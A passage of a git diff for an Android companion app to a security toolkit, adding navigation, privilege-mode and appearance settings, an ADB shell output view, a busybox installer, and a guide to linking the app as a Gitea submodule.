successfully!", Toast.LENGTH_SHORT).show() + pairingCodeInput.setText("") + } else { + Toast.makeText(requireContext(), "Pairing failed. Check the code and try again.", Toast.LENGTH_LONG).show() + } + refreshStatus() + } + }.start() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/PrivilegesSettingsFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/PrivilegesSettingsFragment.kt new file mode 100644 index 0000000..22435e8 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/PrivilegesSettingsFragment.kt @@ -0,0 +1,100 @@ +// Copyright 2026 DarkHal +package com.darkhal.archon.ui + +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.RadioButton +import android.widget.RadioGroup +import android.widget.TextView +import android.widget.Toast +import androidx.fragment.app.Fragment +import com.darkhal.archon.R +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.google.android.material.button.MaterialButton + +class PrivilegesSettingsFragment : Fragment() { + + private lateinit var radioGroup: RadioGroup + private lateinit var statusText: TextView + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreateView( + inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? + ): View = inflater.inflate(R.layout.fragment_privileges_settings, container, false) + + override fun onViewCreated(view: View, savedInstanceState: Bundle?) { + super.onViewCreated(view, savedInstanceState) + + radioGroup = view.findViewById(R.id.radio_privilege_mode) + statusText = view.findViewById(R.id.privilege_status) + + // Set current mode based on detected best method + view.findViewById(R.id.btn_save_privileges).setOnClickListener { + savePrivilegeMode() + } + + checkPrivilegeStatus() + } + + private fun checkPrivilegeStatus() { + statusText.text = getString(R.string.privilege_status_checking) + + Thread { + val method = PrivilegeManager.getAvailableMethod() + + // Check root + val rootAvailable = ShellExecutor.execute("su -c 'id'").exitCode == 0 + + // Check Shizuku (via our Archon Server) + val archonAvailable = method == PrivilegeManager.Method.ARCHON_SERVER + + // Check local ADB + val adbAvailable = method == PrivilegeManager.Method.LOCAL_ADB || + method == PrivilegeManager.Method.SERVER_ADB + + handler.post { + val status = StringBuilder() + status.appendLine("Detected: ${method.label}") + status.appendLine() + status.appendLine("Root: ${if (rootAvailable) "Available" else "Not available"}") + status.appendLine("Archon Server: ${if (archonAvailable) "Running" else "Not running"}") + status.appendLine("ADB: ${if (adbAvailable) "Connected" else "Not connected"}") + statusText.text = status.toString() + + // Select the radio matching current mode + when (method) { + PrivilegeManager.Method.ROOT -> + radioGroup.check(R.id.radio_root) + PrivilegeManager.Method.ARCHON_SERVER -> + radioGroup.check(R.id.radio_shizuku) + PrivilegeManager.Method.LOCAL_ADB, PrivilegeManager.Method.SERVER_ADB -> + radioGroup.check(R.id.radio_adb) + PrivilegeManager.Method.NONE -> + radioGroup.check(R.id.radio_none) + } + } + }.start() + } + + private fun savePrivilegeMode() { + val selected = when (radioGroup.checkedRadioButtonId) { + R.id.radio_root -> "root" + R.id.radio_shizuku -> "shizuku" + R.id.radio_adb -> "adb" + R.id.radio_none -> "none" + else -> "none" + } + + PrefsManager.setPreferredPrivilegeMode(requireContext(), selected) + Toast.makeText(requireContext(), "Privilege mode saved: $selected", Toast.LENGTH_SHORT).show() + + // Re-check to show actual status + checkPrivilegeStatus() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ShellOutputAdapter.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ShellOutputAdapter.kt new file mode 100644 index 0000000..f45871b --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ShellOutputAdapter.kt @@ -0,0 +1,94 @@ +package com.darkhal.archon.ui + +import android.graphics.Typeface +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.TextView +import androidx.recyclerview.widget.RecyclerView +import com.darkhal.archon.R + +/** + * RecyclerView adapter for the ADB shell terminal output. + * Supports 4 line types with different colors: + * COMMAND - green, prefixed with > + * STDOUT - white/light gray + * STDERR - red + * SYSTEM - yellow italic (connection messages, errors, etc.) + */ +class ShellOutputAdapter : RecyclerView.Adapter() { + + enum class LineType { COMMAND, STDOUT, STDERR, SYSTEM } + + data class ShellLine(val text: String, val type: LineType) + + private val lines = mutableListOf() + + fun addCommand(cmd: String) { + lines.add(ShellLine("> $cmd", LineType.COMMAND)) + notifyItemInserted(lines.size - 1) + } + + fun addStdout(text: String) { + if (text.isBlank()) return + for (line in text.lines()) { + lines.add(ShellLine(line, LineType.STDOUT)) + } + notifyItemRangeInserted(lines.size - text.lines().size, text.lines().size) + } + + fun addStderr(text: String) { + if (text.isBlank()) return + for (line in text.lines()) { + lines.add(ShellLine(line, LineType.STDERR)) + } + notifyItemRangeInserted(lines.size - text.lines().size, text.lines().size) + } + + fun addSystem(text: String) { + lines.add(ShellLine(text, LineType.SYSTEM)) + notifyItemInserted(lines.size - 1) + } + + fun clear() { + val count = lines.size + lines.clear() + notifyItemRangeRemoved(0, count) + } + + override fun getItemCount(): Int = lines.size + + override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): LineViewHolder { + val view = LayoutInflater.from(parent.context) + .inflate(R.layout.item_shell_output, parent, false) + return LineViewHolder(view) + } + + override fun onBindViewHolder(holder: LineViewHolder, position: Int) { + val line = lines[position] + holder.textView.text = line.text + + when (line.type) { + LineType.COMMAND -> { + holder.textView.setTextColor(0xFF98C379.toInt()) // green + holder.textView.setTypeface(Typeface.MONOSPACE, Typeface.BOLD) + } + LineType.STDOUT -> { + holder.textView.setTextColor(0xFFD4D4D4.toInt()) // light gray + holder.textView.setTypeface(Typeface.MONOSPACE, Typeface.NORMAL) + } + LineType.STDERR -> { + holder.textView.setTextColor(0xFFE06C75.toInt()) // red + holder.textView.setTypeface(Typeface.MONOSPACE, Typeface.NORMAL) + } + LineType.SYSTEM -> { + holder.textView.setTextColor(0xFFE5C07B.toInt()) // yellow + holder.textView.setTypeface(Typeface.MONOSPACE, Typeface.ITALIC) + } + } + } + + class LineViewHolder(view: View) : RecyclerView.ViewHolder(view) { + val textView: TextView = view.findViewById(R.id.shell_line_text) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ToolPlaceholderFragment.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ToolPlaceholderFragment.kt new file mode 100644 index 0000000..f2d02e5 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/ui/ToolPlaceholderFragment.kt @@ -0,0 +1,53 @@ +package com.darkhal.archon.ui + +import android.os.Bundle +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.LinearLayout +import android.widget.TextView +import androidx.fragment.app.Fragment + +/** + * Placeholder fragment for pentesting tools that aren't implemented yet. + * Shows the tool name and a "coming soon" message. + * Pass the tool name via arguments bundle with key "tool_name". + */ +class ToolPlaceholderFragment : Fragment() { + + companion object { + fun newInstance(toolName: String): ToolPlaceholderFragment { + return ToolPlaceholderFragment().apply { + arguments = Bundle().apply { + putString("tool_name", toolName) + } + } + } + } + + override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle?): View { + val toolName = arguments?.getString("tool_name") ?: "Tool" + + val layout = LinearLayout(requireContext()).apply { + orientation = LinearLayout.VERTICAL + setPadding(48, 48, 48, 48) + } + + val title = TextView(requireContext()).apply { + text = toolName + textSize = 24f + setTextColor(0xFFD4D4D4.toInt()) + } + + val subtitle = TextView(requireContext()).apply { + text = "Implementation in progress" + textSize = 14f + setTextColor(0xFF858585.toInt()) + } + + layout.addView(title) + layout.addView(subtitle) + + return layout + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/BusyboxInstaller.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/BusyboxInstaller.kt new file mode 100644 index 0000000..73f12c3 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/BusyboxInstaller.kt @@ -0,0 +1,173 @@ +// Copyright 2026 DarkHal +package com.darkhal.archon.util + +import android.content.Context +import android.util.Log +import java.io.File +import java.io.FileOutputStream + +/** + * Extracts the bundled busybox binary from APK assets to the app's + * private directory on first launch. Creates symlinks for all applets + * so they can be called by name (ls, grep, find, etc.). + * + * The binary is a static ARM64 build that works without root on any + * Android device. It provides 300+ Unix utilities in a single 2.7MB file. + */ +object BusyboxInstaller { + + private const val TAG = "BusyboxInstaller" + private const val ASSET_PATH = "bin/busybox" + private const val BIN_DIR = "busybox" + private const val BUSYBOX_NAME = "busybox" + + /** + * Get the path to the busybox binary. Extracts from assets if needed. + * Returns null if extraction fails. + */ + fun getBusyboxPath(context: Context): String? { + val binDir = File(context.filesDir, BIN_DIR) + val busybox = File(binDir, BUSYBOX_NAME) + + if (busybox.exists() && busybox.canExecute()) { + return busybox.absolutePath + } + + return if (install(context)) busybox.absolutePath else null + } + + /** + * Get the bin directory containing busybox and its symlinks. + * Use this as a PATH prefix for shell sessions. + */ + fun getBinDir(context: Context): String { + val binDir = File(context.filesDir, BIN_DIR) + binDir.mkdirs() + return binDir.absolutePath + } + + /** + * Install busybox from APK assets. Returns true on success. + */ + fun install(context: Context): Boolean { + val binDir = File(context.filesDir, BIN_DIR) + val busybox = File(binDir, BUSYBOX_NAME) + + try { + binDir.mkdirs() + + // Extract binary from assets + context.assets.open(ASSET_PATH).use { input -> + FileOutputStream(busybox).use { output -> + input.copyTo(output) + } + } + + // Make executable + busybox.setExecutable(true, false) + + if (!busybox.canExecute()) { + Log.e(TAG, "Failed to set execute permission on busybox") + return false + } + + Log.i(TAG, "Extracted busybox to ${busybox.absolutePath} (${busybox.length()} bytes)") + + // Create symlinks for all applets + createAppletSymlinks(busybox, binDir) + + return true + } catch (e: Exception) { + Log.e(TAG, "Failed to install busybox", e) + return false + } + } + + /** + * Create symlinks for all busybox applets. + * Runs "busybox --list" to get the applet names, then creates + * a symlink for each one pointing back to busybox. + */ + private fun createAppletSymlinks(busybox: File, binDir: File) { + try { + val process = ProcessBuilder(busybox.absolutePath, "--list") + .directory(binDir) + .redirectErrorStream(true) + .start() + + val applets = process.inputStream.bufferedReader().readLines() + process.waitFor() + + var created = 0 + for (applet in applets) { + val name = applet.trim() + if (name.isEmpty() || name == BUSYBOX_NAME) continue + + val link = File(binDir, name) + if (!link.exists()) { + try { + // Create symlink: applet -> busybox + Runtime.getRuntime().exec(arrayOf( + "ln", "-sf", busybox.absolutePath, link.absolutePath + )).waitFor() + created++ + } catch (_: Exception) { + // Symlinks may not work on all filesystems. + // Fall back to a small shell wrapper script. + link.writeText("#!/system/bin/sh\nexec ${busybox.absolutePath} $name \"\$@\"\n") + link.setExecutable(true, false) + created++ + } + } + } + + Log.i(TAG, "Created $created applet symlinks in ${binDir.absolutePath}") + } catch (e: Exception) { + Log.w(TAG, "Failed to create applet symlinks", e) + } + } + + /** + * Check if busybox is installed and working. + */ + fun isInstalled(context: Context): Boolean { + val busybox = File(context.filesDir, "$BIN_DIR/$BUSYBOX_NAME") + return busybox.exists() && busybox.canExecute() + } + + /** + * Get the version string of the installed busybox. + */ + fun getVersion(context: Context): String? { + val path = getBusyboxPath(context) ?: return null + return try { + val process = ProcessBuilder(path, "--help") + .redirectErrorStream(true) + .start() + val firstLine = process.inputStream.bufferedReader().readLine() + process.destroy() + firstLine + } catch (_: Exception) { + null + } + } + + /** + * List all available applets. + */ + fun listApplets(context: Context): List { + val path = getBusyboxPath(context) ?: return emptyList() + return try { + val process = ProcessBuilder(path, "--list") + .redirectErrorStream(true) + .start() + val applets = process.inputStream.bufferedReader().readLines() + .map { it.trim() } + .filter { it.isNotEmpty() } + process.waitFor() + applets + } catch (_: Exception) { + emptyList() + } + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt index 2822d0a..db27544 100644 --- a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/util/PrefsManager.kt @@ -13,12 +13,16 @@ object PrefsManager { private const val KEY_USBIP_PORT = "usbip_port" private const val KEY_AUTO_RESTART_ADB = "auto_restart_adb" private const val KEY_BBS_ADDRESS = "bbs_address" + private const val KEY_PRIVILEGE_MODE = "privilege_mode" + private const val KEY_FONT_SIZE = "font_size" private const val DEFAULT_SERVER_IP = "" private const val DEFAULT_WEB_PORT = 8181 private const val DEFAULT_ADB_PORT = 5555 private const val DEFAULT_USBIP_PORT = 3240 private const val DEFAULT_BBS_ADDRESS = "" + private const val DEFAULT_PRIVILEGE_MODE = "none" + private const val DEFAULT_FONT_SIZE = 14 private fun prefs(context: Context): SharedPreferences { return context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) @@ -77,4 +81,20 @@ object PrefsManager { val port = getWebPort(context) return "https://$ip:$port" } + + fun getPreferredPrivilegeMode(context: Context): String { + return prefs(context).getString(KEY_PRIVILEGE_MODE, DEFAULT_PRIVILEGE_MODE) ?: DEFAULT_PRIVILEGE_MODE + } + + fun setPreferredPrivilegeMode(context: Context, mode: String) { + prefs(context).edit().putString(KEY_PRIVILEGE_MODE, mode).apply() + } + + fun getFontSize(context: Context): Int { + return prefs(context).getInt(KEY_FONT_SIZE, DEFAULT_FONT_SIZE) + } + + fun setFontSize(context: Context, size: Int) { + prefs(context).edit().putInt(KEY_FONT_SIZE, size).apply() + } } diff --git a/autarch_companion/app/src/main/res/layout/activity_main.xml b/autarch_companion/app/src/main/res/layout/activity_main.xml index b4256ec..eb0de40 100644 --- a/autarch_companion/app/src/main/res/layout/activity_main.xml +++ b/autarch_companion/app/src/main/res/layout/activity_main.xml @@ -1,33 +1,64 @@ - + + android:fitsSystemWindows="true" + tools:openDrawer="start"> - + + - + - + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/drawer_header.xml b/autarch_companion/app/src/main/res/layout/drawer_header.xml new file mode 100644 index 0000000..3a3f377 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/drawer_header.xml @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_about.xml b/autarch_companion/app/src/main/res/layout/fragment_about.xml new file mode 100644 index 0000000..b0f540d --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_about.xml @@ -0,0 +1,93 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_adb_shell.xml b/autarch_companion/app/src/main/res/layout/fragment_adb_shell.xml new file mode 100644 index 0000000..5d64c12 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_adb_shell.xml @@ -0,0 +1,129 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_appearance_settings.xml b/autarch_companion/app/src/main/res/layout/fragment_appearance_settings.xml new file mode 100644 index 0000000..0866c50 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_appearance_settings.xml @@ -0,0 +1,128 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_privileges_settings.xml b/autarch_companion/app/src/main/res/layout/fragment_privileges_settings.xml new file mode 100644 index 0000000..7697487 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_privileges_settings.xml @@ -0,0 +1,143 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_settings_connection.xml b/autarch_companion/app/src/main/res/layout/fragment_settings_connection.xml new file mode 100644 index 0000000..949c61b --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_settings_connection.xml @@ -0,0 +1,202 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_settings_privileges.xml b/autarch_companion/app/src/main/res/layout/fragment_settings_privileges.xml new file mode 100644 index 0000000..ef2b81d --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_settings_privileges.xml @@ -0,0 +1,151 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_arp.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_arp.xml new file mode 100644 index 0000000..3849147 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_arp.xml @@ -0,0 +1,68 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_devinfo.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_devinfo.xml new file mode 100644 index 0000000..2320a57 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_devinfo.xml @@ -0,0 +1,270 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_dns.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_dns.xml new file mode 100644 index 0000000..2402542 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_dns.xml @@ -0,0 +1,306 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_files.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_files.xml new file mode 100644 index 0000000..9eff77a --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_files.xml @@ -0,0 +1,304 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_firewall.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_firewall.xml new file mode 100644 index 0000000..b249137 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_firewall.xml @@ -0,0 +1,64 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_headers.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_headers.xml new file mode 100644 index 0000000..7410243 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_headers.xml @@ -0,0 +1,374 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_keystore.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_keystore.xml new file mode 100644 index 0000000..865b838 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_keystore.xml @@ -0,0 +1,218 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_logcat.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_logcat.xml new file mode 100644 index 0000000..8df471f --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_logcat.xml @@ -0,0 +1,343 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_monitor.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_monitor.xml new file mode 100644 index 0000000..9db098b --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_monitor.xml @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_netscan.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_netscan.xml new file mode 100644 index 0000000..b060ff5 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_netscan.xml @@ -0,0 +1,241 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_pcap.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_pcap.xml new file mode 100644 index 0000000..e23141e --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_pcap.xml @@ -0,0 +1,106 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_portscan.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_portscan.xml new file mode 100644 index 0000000..bc1966e --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_portscan.xml @@ -0,0 +1,258 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_processes.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_processes.xml new file mode 100644 index 0000000..60f3128 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_processes.xml @@ -0,0 +1,359 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_ssl.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_ssl.xml new file mode 100644 index 0000000..1bbff65 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_ssl.xml @@ -0,0 +1,273 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_whois.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_whois.xml new file mode 100644 index 0000000..8d619f2 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_whois.xml @@ -0,0 +1,177 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/fragment_tool_wifi.xml b/autarch_companion/app/src/main/res/layout/fragment_tool_wifi.xml new file mode 100644 index 0000000..9de070b --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/fragment_tool_wifi.xml @@ -0,0 +1,326 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/item_netscan_device.xml b/autarch_companion/app/src/main/res/layout/item_netscan_device.xml new file mode 100644 index 0000000..dfbccbc --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/item_netscan_device.xml @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/layout/item_shell_output.xml b/autarch_companion/app/src/main/res/layout/item_shell_output.xml new file mode 100644 index 0000000..de132a0 --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/item_shell_output.xml @@ -0,0 +1,15 @@ + + diff --git a/autarch_companion/app/src/main/res/layout/item_wifi_network.xml b/autarch_companion/app/src/main/res/layout/item_wifi_network.xml new file mode 100644 index 0000000..f92599e --- /dev/null +++ b/autarch_companion/app/src/main/res/layout/item_wifi_network.xml @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/menu/drawer_menu.xml b/autarch_companion/app/src/main/res/menu/drawer_menu.xml new file mode 100644 index 0000000..536a5de --- /dev/null +++ b/autarch_companion/app/src/main/res/menu/drawer_menu.xml @@ -0,0 +1,153 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/navigation/nav_graph.xml b/autarch_companion/app/src/main/res/navigation/nav_graph.xml index 301fd07..d264578 100644 --- a/autarch_companion/app/src/main/res/navigation/nav_graph.xml +++ b/autarch_companion/app/src/main/res/navigation/nav_graph.xml @@ -1,38 +1,131 @@ + + - - + android:id="@+id/nav_adb_shell" + android:name="com.darkhal.archon.ui.AdbShellFragment" + android:label="@string/nav_adb_shell" /> + + + + + + + + + + + + + + + + + + + + + + + + + android:label="@string/nav_device_setup" /> + android:id="@+id/nav_links" + android:name="com.darkhal.archon.ui.LinksFragment" + android:label="@string/nav_links" /> + + + + + + + + + diff --git a/autarch_companion/app/src/main/res/values/colors.xml b/autarch_companion/app/src/main/res/values/colors.xml index 20d99fe..41e3d1b 100644 --- a/autarch_companion/app/src/main/res/values/colors.xml +++ b/autarch_companion/app/src/main/res/values/colors.xml @@ -15,4 +15,17 @@ #FFFFAA00 #FF000000 #FF00FF41 + + + #FF888888 + #FF5599FF + #FF00CC44 + #FFFFAA00 + #FFFF4444 + #FFFF2222 + + + #FF00CCFF + #FFCC66FF + #FF00FF41 diff --git a/autarch_companion/app/src/main/res/values/strings.xml b/autarch_companion/app/src/main/res/values/strings.xml index 876ea0a..2c0a885 100644 --- a/autarch_companion/app/src/main/res/values/strings.xml +++ b/autarch_companion/app/src/main/res/values/strings.xml @@ -2,13 +2,31 @@ Archon - + Dashboard - Links + ADB Shell Modules + Device Setup + Links + Connection + Privileges + Appearance + About + + Setup Settings + + TOOLS + SETUP + SETTINGS + + + AUTARCH + Open navigation + Close navigation + Server Discovery Tap SCAN to find AUTARCH @@ -87,4 +105,32 @@ AUTO-DETECT SERVER TEST SAVE + + + ADB SHELL + Enter command... + RUN + CLEAR + > ADB shell ready. Type a command.\n + + + PRIVILEGES + Privilege Mode + Root + Shizuku + ADB + None (standard) + Checking privilege status... + + + APPEARANCE + Theme + Terminal Dark + Font Size + + + ABOUT + Version + Copyright 2026 DarkHal + AUTARCH Companion\nRemote device management and security toolkit. diff --git a/autarch_companion/app/src/main/res/values/themes.xml b/autarch_companion/app/src/main/res/values/themes.xml index 0a06a06..d21f8a8 100644 --- a/autarch_companion/app/src/main/res/values/themes.xml +++ b/autarch_companion/app/src/main/res/values/themes.xml @@ -1,4 +1,5 @@ + + + + + + + + + + diff --git a/autarch_companion/gitea_module.md b/autarch_companion/gitea_module.md new file mode 100644 index 0000000..1818aea --- /dev/null +++ b/autarch_companion/gitea_module.md @@ -0,0 +1,256 @@ +# Linking Archon as a Git Submodule of AUTARCH + +This guide walks through setting up Archon (the Android companion app) as a git submodule inside the AUTARCH repository, hosted on a self-hosted Gitea instance. + +**Assumed URLs:** +- AUTARCH: `https://gitea.example.com/you/autarch` +- Archon: `https://gitea.example.com/you/archon` + +--- + +## 1. Initial Setup — Create Both Repos on Gitea + +### Create the repos on Gitea + +Log into your Gitea instance and create two repositories: + +1. Go to `https://gitea.example.com` → **+** → **New Repository** +2. Create `autarch` (do not initialize with README if you already have local files) +3. Repeat for `archon` + +### Push AUTARCH + +```bash +cd /path/to/autarch +git init # if not already a git repo +git remote add origin https://gitea.example.com/you/autarch.git +git add . +git commit -m "Initial commit" +git push -u origin main +``` + +### Push Archon + +```bash +cd /path/to/archon +git init +git remote add origin https://gitea.example.com/you/archon.git +git add . +git commit -m "Initial commit" +git push -u origin main +``` + +--- + +## 2. Add Archon as a Submodule + +From the **AUTARCH repository root**, run: + +```bash +cd /path/to/autarch +git submodule add https://gitea.example.com/you/archon.git Archon +``` + +This does three things: +- Clones the Archon repo into `autarch/Archon/` +- Creates (or updates) `.gitmodules` in the AUTARCH root +- Stages both `.gitmodules` and the new `Archon` directory pointer + +If you prefer SSH instead of HTTPS: + +```bash +git submodule add git@gitea.example.com:you/archon.git Archon +``` + +--- + +## 3. Commit the Submodule Reference + +After adding the submodule, two things are staged: + +- `.gitmodules` — a config file mapping the submodule path to its URL +- `Archon` — not the Archon files themselves, but a **pointer** (a specific commit hash) to the Archon repo + +Commit both: + +```bash +git status +# On branch main +# Changes to be committed: +# new file: .gitmodules +# new file: Archon + +git commit -m "Add Archon as git submodule" +git push origin main +``` + +AUTARCH's repo now contains a reference to a specific commit in Archon — not the Archon files directly. This is intentional: submodules are pinned to a commit, not a branch. + +--- + +## 4. `.gitmodules` Example + +After running `git submodule add`, your `.gitmodules` file will look like this: + +```ini +[submodule "Archon"] + path = Archon + url = https://gitea.example.com/you/archon.git +``` + +If you want to track a specific branch (optional, see pitfalls): + +```ini +[submodule "Archon"] + path = Archon + url = https://gitea.example.com/you/archon.git + branch = main +``` + +--- + +## 5. Cloning AUTARCH with Archon + +### Option A — Clone everything at once (recommended) + +```bash +git clone --recurse-submodules https://gitea.example.com/you/autarch.git +``` + +This clones AUTARCH and immediately initializes and checks out Archon at the pinned commit. + +### Option B — Clone AUTARCH first, pull Archon later + +```bash +git clone https://gitea.example.com/you/autarch.git +cd autarch +git submodule update --init +``` + +`--init` is needed the first time because the submodule isn't initialized yet. After that, use `git submodule update` without `--init`. + +To also pull nested submodules (if Archon ever gains its own 